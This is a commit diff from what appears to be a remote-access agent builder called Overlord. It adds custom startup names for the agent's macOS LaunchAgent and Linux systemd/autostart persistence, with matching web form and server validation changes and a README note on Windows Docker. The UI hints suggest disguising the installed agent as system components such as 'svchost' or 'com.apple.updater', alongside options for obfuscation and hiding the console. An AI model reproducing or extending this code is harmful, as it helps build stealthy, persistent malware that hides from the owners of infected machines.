add custom startup names to mac and linux. Also update readme for windows users who are using the server
This commit is contained in:
@@ -9,6 +9,7 @@ import (
|
|||||||
"os"
|
"os"
|
||||||
"os/user"
|
"os/user"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
"text/template"
|
"text/template"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -17,7 +18,7 @@ const launchAgentPlist = `<?xml version="1.0" encoding="UTF-8"?>
|
|||||||
<plist version="1.0">
|
<plist version="1.0">
|
||||||
<dict>
|
<dict>
|
||||||
<key>Label</key>
|
<key>Label</key>
|
||||||
<string>com.overlord.agent</string>
|
<string>{{.Label}}</string>
|
||||||
<key>ProgramArguments</key>
|
<key>ProgramArguments</key>
|
||||||
<array>
|
<array>
|
||||||
<string>{{.ExePath}}</string>
|
<string>{{.ExePath}}</string>
|
||||||
@@ -34,12 +35,26 @@ const launchAgentPlist = `<?xml version="1.0" encoding="UTF-8"?>
|
|||||||
</plist>
|
</plist>
|
||||||
`
|
`
|
||||||
|
|
||||||
|
func binaryName() string {
|
||||||
|
if DefaultStartupName != "" {
|
||||||
|
return DefaultStartupName
|
||||||
|
}
|
||||||
|
return "agent"
|
||||||
|
}
|
||||||
|
|
||||||
|
func plistLabel() string {
|
||||||
|
if DefaultStartupName != "" {
|
||||||
|
return DefaultStartupName
|
||||||
|
}
|
||||||
|
return "com.overlord.agent"
|
||||||
|
}
|
||||||
|
|
||||||
func getPlistPath() (string, error) {
|
func getPlistPath() (string, error) {
|
||||||
usr, err := user.Current()
|
usr, err := user.Current()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", "com.overlord.agent.plist"), nil
|
return filepath.Join(usr.HomeDir, "Library", "LaunchAgents", plistLabel()+".plist"), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func getTargetPath() (string, error) {
|
func getTargetPath() (string, error) {
|
||||||
@@ -47,11 +62,15 @@ func getTargetPath() (string, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", "agent"), nil
|
return filepath.Join(usr.HomeDir, "Library", "Application Support", "Overlord", binaryName()), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func install(exePath string) error {
|
func install(exePath string) error {
|
||||||
|
|
||||||
|
if DefaultStartupName != "" && !strings.HasPrefix(DefaultStartupName, "com.") {
|
||||||
|
return fmt.Errorf("startup name %q is invalid for macOS: LaunchAgent labels must start with \"com.\" (e.g. com.apple.updater)", DefaultStartupName)
|
||||||
|
}
|
||||||
|
|
||||||
targetPath, err := getTargetPath()
|
targetPath, err := getTargetPath()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("failed to get target path: %w", err)
|
return fmt.Errorf("failed to get target path: %w", err)
|
||||||
@@ -88,8 +107,10 @@ func install(exePath string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
data := struct {
|
data := struct {
|
||||||
|
Label string
|
||||||
ExePath string
|
ExePath string
|
||||||
}{
|
}{
|
||||||
|
Label: plistLabel(),
|
||||||
ExePath: targetPath,
|
ExePath: targetPath,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -167,8 +188,10 @@ func configure(exePath string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
data := struct {
|
data := struct {
|
||||||
|
Label string
|
||||||
ExePath string
|
ExePath string
|
||||||
}{
|
}{
|
||||||
|
Label: plistLabel(),
|
||||||
ExePath: exePath,
|
ExePath: exePath,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -35,12 +35,19 @@ NoDisplay=false
|
|||||||
X-GNOME-Autostart-enabled=true
|
X-GNOME-Autostart-enabled=true
|
||||||
`
|
`
|
||||||
|
|
||||||
|
func binaryName() string {
|
||||||
|
if DefaultStartupName != "" {
|
||||||
|
return DefaultStartupName
|
||||||
|
}
|
||||||
|
return "agent"
|
||||||
|
}
|
||||||
|
|
||||||
func getSystemdPath() (string, error) {
|
func getSystemdPath() (string, error) {
|
||||||
usr, err := user.Current()
|
usr, err := user.Current()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
return filepath.Join(usr.HomeDir, ".config", "systemd", "user", "overlord-agent.service"), nil
|
return filepath.Join(usr.HomeDir, ".config", "systemd", "user", binaryName()+".service"), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func getAutostartPath() (string, error) {
|
func getAutostartPath() (string, error) {
|
||||||
@@ -48,7 +55,7 @@ func getAutostartPath() (string, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
return filepath.Join(usr.HomeDir, ".config", "autostart", "overlord-agent.desktop"), nil
|
return filepath.Join(usr.HomeDir, ".config", "autostart", binaryName()+".desktop"), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func getTargetPath() (string, error) {
|
func getTargetPath() (string, error) {
|
||||||
@@ -56,7 +63,7 @@ func getTargetPath() (string, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
return filepath.Join(usr.HomeDir, ".local", "share", "overlord", "agent"), nil
|
return filepath.Join(usr.HomeDir, ".local", "share", "overlord", binaryName()), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func install(exePath string) error {
|
func install(exePath string) error {
|
||||||
|
|||||||
@@ -219,6 +219,10 @@ const persistenceEmptyState = document.getElementById("persistence-empty-state")
|
|||||||
const persistenceWindowsSettings = document.getElementById("persistence-windows-settings");
|
const persistenceWindowsSettings = document.getElementById("persistence-windows-settings");
|
||||||
const persistenceLinuxSettings = document.getElementById("persistence-linux-settings");
|
const persistenceLinuxSettings = document.getElementById("persistence-linux-settings");
|
||||||
const persistenceMacSettings = document.getElementById("persistence-macos-settings");
|
const persistenceMacSettings = document.getElementById("persistence-macos-settings");
|
||||||
|
const persistenceStartupNameContainer = document.getElementById("persistence-startup-name-container");
|
||||||
|
const startupNameMacosHint = document.getElementById("startup-name-macos-hint");
|
||||||
|
const startupNameDefaultHint = document.getElementById("startup-name-default-hint");
|
||||||
|
const startupNameError = document.getElementById("startup-name-error");
|
||||||
const platformInputs = document.querySelectorAll('input[name="platform"]');
|
const platformInputs = document.querySelectorAll('input[name="platform"]');
|
||||||
|
|
||||||
function getSelectedPlatformFamilies() {
|
function getSelectedPlatformFamilies() {
|
||||||
@@ -233,6 +237,20 @@ function getSelectedPlatformFamilies() {
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function validateStartupName() {
|
||||||
|
if (!startupNameError) return true;
|
||||||
|
const families = getSelectedPlatformFamilies();
|
||||||
|
const val = document.getElementById("startup-name")?.value.trim() || "";
|
||||||
|
if (families.darwin && val && !val.startsWith("com.")) {
|
||||||
|
startupNameError.textContent = "macOS requires the name to start with \"com.\" (e.g. com.apple.updater)";
|
||||||
|
startupNameError.classList.remove("hidden");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
startupNameError.textContent = "";
|
||||||
|
startupNameError.classList.add("hidden");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
function updatePersistenceSettingsVisibility() {
|
function updatePersistenceSettingsVisibility() {
|
||||||
if (!persistenceMethodContainer) return;
|
if (!persistenceMethodContainer) return;
|
||||||
|
|
||||||
@@ -256,9 +274,19 @@ function updatePersistenceSettingsVisibility() {
|
|||||||
if (persistenceMacSettings) {
|
if (persistenceMacSettings) {
|
||||||
persistenceMacSettings.classList.toggle("hidden", !families.darwin);
|
persistenceMacSettings.classList.toggle("hidden", !families.darwin);
|
||||||
}
|
}
|
||||||
|
if (persistenceStartupNameContainer) {
|
||||||
|
persistenceStartupNameContainer.classList.toggle("hidden", !hasSupportedFamily);
|
||||||
|
}
|
||||||
|
if (startupNameMacosHint) {
|
||||||
|
startupNameMacosHint.classList.toggle("hidden", !families.darwin);
|
||||||
|
}
|
||||||
|
if (startupNameDefaultHint) {
|
||||||
|
startupNameDefaultHint.classList.toggle("hidden", families.darwin);
|
||||||
|
}
|
||||||
if (persistenceEmptyState) {
|
if (persistenceEmptyState) {
|
||||||
persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily);
|
persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily);
|
||||||
}
|
}
|
||||||
|
validateStartupName();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (persistenceCheckbox && persistenceMethodContainer) {
|
if (persistenceCheckbox && persistenceMethodContainer) {
|
||||||
@@ -270,6 +298,8 @@ platformInputs.forEach((input) => {
|
|||||||
input.addEventListener("change", updateWindowsSectionVisibility);
|
input.addEventListener("change", updateWindowsSectionVisibility);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
document.getElementById("startup-name")?.addEventListener("input", validateStartupName);
|
||||||
|
|
||||||
updatePersistenceSettingsVisibility();
|
updatePersistenceSettingsVisibility();
|
||||||
|
|
||||||
form?.addEventListener("change", saveFormSettings);
|
form?.addEventListener("change", saveFormSettings);
|
||||||
@@ -554,6 +584,11 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!validateStartupName()) {
|
||||||
|
document.getElementById("startup-name")?.focus();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
const serverUrl = form.querySelector("#server-url").value.trim();
|
const serverUrl = form.querySelector("#server-url").value.trim();
|
||||||
const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
|
const rawServerList = form.querySelector("#raw-server-list")?.checked || false;
|
||||||
const mutex = form.querySelector("#mutex")?.value.trim() || "";
|
const mutex = form.querySelector("#mutex")?.value.trim() || "";
|
||||||
@@ -565,10 +600,11 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
'input[name="enable-persistence"]',
|
'input[name="enable-persistence"]',
|
||||||
).checked;
|
).checked;
|
||||||
const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-"));
|
const hasWindowsTarget = platforms.some((platform) => platform.startsWith("windows-"));
|
||||||
|
const hasPersistentUnixTarget = platforms.some((p) => p.startsWith("linux-") || p.startsWith("darwin-"));
|
||||||
const persistenceMethods = hasWindowsTarget
|
const persistenceMethods = hasWindowsTarget
|
||||||
? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value)
|
? Array.from(form.querySelectorAll('input[name="persistence-method"]:checked')).map((el) => el.value)
|
||||||
: undefined;
|
: undefined;
|
||||||
const startupNameVal = hasWindowsTarget
|
const startupNameVal = (hasWindowsTarget || hasPersistentUnixTarget)
|
||||||
? (form.querySelector("#startup-name")?.value.trim() || "")
|
? (form.querySelector("#startup-name")?.value.trim() || "")
|
||||||
: "";
|
: "";
|
||||||
const hideConsole = form.querySelector(
|
const hideConsole = form.querySelector(
|
||||||
@@ -604,7 +640,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
obfuscate,
|
obfuscate,
|
||||||
enablePersistence,
|
enablePersistence,
|
||||||
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
|
persistenceMethods: enablePersistence && hasWindowsTarget ? (persistenceMethods && persistenceMethods.length > 0 ? persistenceMethods : ['startup']) : undefined,
|
||||||
startupName: enablePersistence && hasWindowsTarget && startupNameVal ? startupNameVal : undefined,
|
startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined,
|
||||||
hideConsole,
|
hideConsole,
|
||||||
noPrinting,
|
noPrinting,
|
||||||
outputName: outputNameVal || undefined,
|
outputName: outputNameVal || undefined,
|
||||||
|
|||||||
@@ -350,16 +350,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
<div class="mt-3">
|
|
||||||
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
|
||||||
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
|
|
||||||
</div>
|
|
||||||
<input type="text" id="startup-name" name="startup-name" maxlength="32"
|
|
||||||
pattern="[A-Za-z0-9_-]+"
|
|
||||||
placeholder="ovd (default)"
|
|
||||||
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
|
|
||||||
<p class="text-xs text-slate-500 mt-1">Custom executable name used by all selected methods (e.g. <code>svchost</code> → <code>svchost.exe</code>). Leave blank for default randomized name.</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
|
<div id="persistence-linux-settings" class="hidden" data-persistence-os="linux">
|
||||||
@@ -376,9 +366,21 @@
|
|||||||
<i class="fa-brands fa-apple text-slate-200"></i> macOS Persistence
|
<i class="fa-brands fa-apple text-slate-200"></i> macOS Persistence
|
||||||
</div>
|
</div>
|
||||||
<p class="text-xs text-slate-500">
|
<p class="text-xs text-slate-500">
|
||||||
Uses <code>LaunchAgents</code> (<code>com.overlord.agent.plist</code>) for login persistence.
|
Uses <code>LaunchAgents</code> for login persistence. The startup name is used as the plist label and <strong class="text-orange-400">must start with <code>com.</code></strong> (e.g. <code>com.apple.updater</code>).
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div id="persistence-startup-name-container" class="hidden">
|
||||||
|
<div class="text-xs font-semibold text-slate-300 mb-2 flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-file-signature text-blue-400"></i> Startup File Name
|
||||||
|
</div>
|
||||||
|
<input type="text" id="startup-name" name="startup-name" maxlength="32"
|
||||||
|
pattern="[A-Za-z0-9_.-]+"
|
||||||
|
placeholder="ovd (default)"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors placeholder:text-slate-600" />
|
||||||
|
<p class="text-xs text-slate-500 mt-1">Custom name for the installed executable. On Windows: used as filename (<code>svchost</code> → <code>svchost.exe</code>). On macOS: also used as the LaunchAgent label — <span id="startup-name-macos-hint" class="hidden text-orange-400 font-medium">must start with <code>com.</code> (e.g. <code>com.apple.updater</code>).</span><span id="startup-name-default-hint">Leave blank for a default randomized name.</span></p>
|
||||||
|
<p id="startup-name-error" class="hidden text-xs text-red-400 mt-1 font-medium"></p>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -713,7 +713,7 @@ func runBoundFiles() {
|
|||||||
? config.persistenceMethods
|
? config.persistenceMethods
|
||||||
: ['startup'];
|
: ['startup'];
|
||||||
sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
|
sendToStream({ type: "output", text: `Persistence enabled for ${platform} (methods: ${activeMethods.join(', ')})\n`, level: "info" });
|
||||||
if (os === 'windows' && config.startupName) {
|
if (config.startupName) {
|
||||||
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
|
const startupNameFlag = `-X overlord-client/cmd/agent/persistence.DefaultStartupName=${config.startupName}`;
|
||||||
ldflags = `${ldflags} ${startupNameFlag}`;
|
ldflags = `${ldflags} ${startupNameFlag}`;
|
||||||
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
|
sendToStream({ type: "output", text: `Startup name: ${config.startupName}\n`, level: "info" });
|
||||||
|
|||||||
@@ -147,9 +147,16 @@ export async function handleBuildRoutes(
|
|||||||
: ['startup'];
|
: ['startup'];
|
||||||
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
|
if (safePersistenceMethods.length === 0) safePersistenceMethods.push('startup');
|
||||||
const safeStartupName =
|
const safeStartupName =
|
||||||
typeof startupName === 'string' && /^[A-Za-z0-9_-]{1,32}$/.test(startupName.trim())
|
typeof startupName === 'string' && /^[A-Za-z0-9_.-]{1,64}$/.test(startupName.trim())
|
||||||
? startupName.trim()
|
? startupName.trim()
|
||||||
: undefined;
|
: undefined;
|
||||||
|
const hasDarwinTarget = allowedPlatforms.some((p) => p.startsWith('darwin-'));
|
||||||
|
if (hasDarwinTarget && safeStartupName && !safeStartupName.startsWith('com.')) {
|
||||||
|
return Response.json(
|
||||||
|
{ error: 'Startup name for macOS must start with "com." (e.g. com.apple.updater)' },
|
||||||
|
{ status: 400 },
|
||||||
|
);
|
||||||
|
}
|
||||||
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
|
const safeOutputName = typeof outputName === "string" && /^[A-Za-z0-9._-]{1,64}$/.test(outputName.trim())
|
||||||
? outputName.trim()
|
? outputName.trim()
|
||||||
: undefined;
|
: undefined;
|
||||||
|
|||||||
@@ -134,6 +134,20 @@ docker --version
|
|||||||
docker compose version
|
docker compose version
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> **Windows users:** use `docker-compose.windows.yml` instead of the default `docker-compose.yml`. The Windows compose file is pre-configured for Docker Desktop on Windows (no `network_mode: host`, correct volume paths, etc.).
|
||||||
|
|
||||||
|
Clone the repo or download the files, then run:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
docker compose -f docker-compose.windows.yml up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
To rebuild after an update:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
docker compose -f docker-compose.windows.yml up --build -d
|
||||||
|
```
|
||||||
|
|
||||||
### Linux (Debian, official apt repo method)
|
### Linux (Debian, official apt repo method)
|
||||||
|
|
||||||
Official docs:
|
Official docs:
|
||||||
|
|||||||
Reference in New Issue
Block a user